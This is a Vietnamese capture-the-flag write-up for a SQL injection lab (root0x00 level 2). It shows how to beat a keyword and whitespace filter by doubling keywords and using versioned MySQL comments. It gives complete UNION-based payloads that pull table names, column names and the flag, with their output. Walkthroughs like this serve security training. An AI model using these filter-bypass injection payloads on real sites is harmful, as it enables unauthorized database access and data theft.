

Ở level này filter khá giống level medium trước đó. Filtler sẽ lọc union và select và em sẽ dùng unUNIONion, seSELECTlect để bypass. Filter cũng lọc luôn dấu khoảng trắng, nên sẽ dùng kiểu `/*!query]*/` để bypass. Ngoài ra filter cũng tự động thêm dấu `'` vào cuối nên ta dùng nó để tạo 1 điều kiện luôn đúng. Ở đây em chọn `and'1'='1`.

Cuối cùng query sẽ có dạng là: `/*!query]*/and'1'='1`. Tìm ra được cách bypass filter thì phần còn lại chỉ là lấy bảng, lấy cột và lấy flag.

```
< → ↻ ⚠ Not secure | root0x00.altervista.org/sql/level2.php?id=1%27/*!and(false)unUNIONion*/*!seSELECTect*/*!1,2,3,4,group_concat(table_name)*/*!from*/*!information_sche
Hello and Welcome To Our Site, BlueMilkshake_0,books,flag,users,{j_FL4G_T4BL3_0d},{j_fl4g_t4b13_0D}
```

**You are not admin and not Allowed to see private DATA , Please login to Continue leet...**

[Log In Admin](#)

[Me](#)

Query lấy bảng:

```
/*!and(false)unUNIONion*/*!seSELECTect*/*!1,2,3,4,group_concat(table_name)*/*!from*/*!information_schema.tables*/*!where*/*!table_schema=database()*/*and'1'='1
```

```
< → ↻ ⚠ Not secure | root0x00.altervista.org/sql/level2.php?id=1%27/*!and(false)unUNIONion*/*!seSELECTect*/*!1,2,3,4,group_concat(column_name)*/*!from*/*!information_sche
Hello and Welcome To Our Site, flag,id,password,username
```

**You are not admin and not Allowed to see private DATA , Please login to Continue leet....**

[Log In Admin](#)

[Me](#)

Query lấy cột của bảng flag:

```
/*!and(false)unUNIONion*/*!seSELECTect*/*!1,2,3,4,group_concat(column_name)*/*!from*/*!information_schema.columns*/*!where*/*!table_schema=database()*/*!and(table_name)='flag'*/*and'1'='1
```

```
< → ↻ ⚠ Not secure | root0x00.altervista.org/sql/level2.php?id=1%27/*!and(false)unUNIONion*/*!seSELECTect*/*!1,2,3,4,flag*/*!from*/*!flag*/*!where*/*!database()=database()*/*an
Hello and Welcome To Our Site, flag{dDhbLnVnQF1UOypEbmtjd24jQ1VpP21fckNKLHZMI112QEFrKEItMzJ9fUBfLHRjTjozWfNETUxpQFN
```

**You are not admin and not Allowed to see private DATA , Please login to Continue leet....**

[Log In Admin](#)

[Me](#)

Cuối cùng lấy flag thôi. Query:

```
/*!and(false)unUNIONion*/*!seSELECTect*/*!1,2,3,4,flag*/*!from*/*!flag*/*!where*/*!database()=database()*/*and'1'='1
```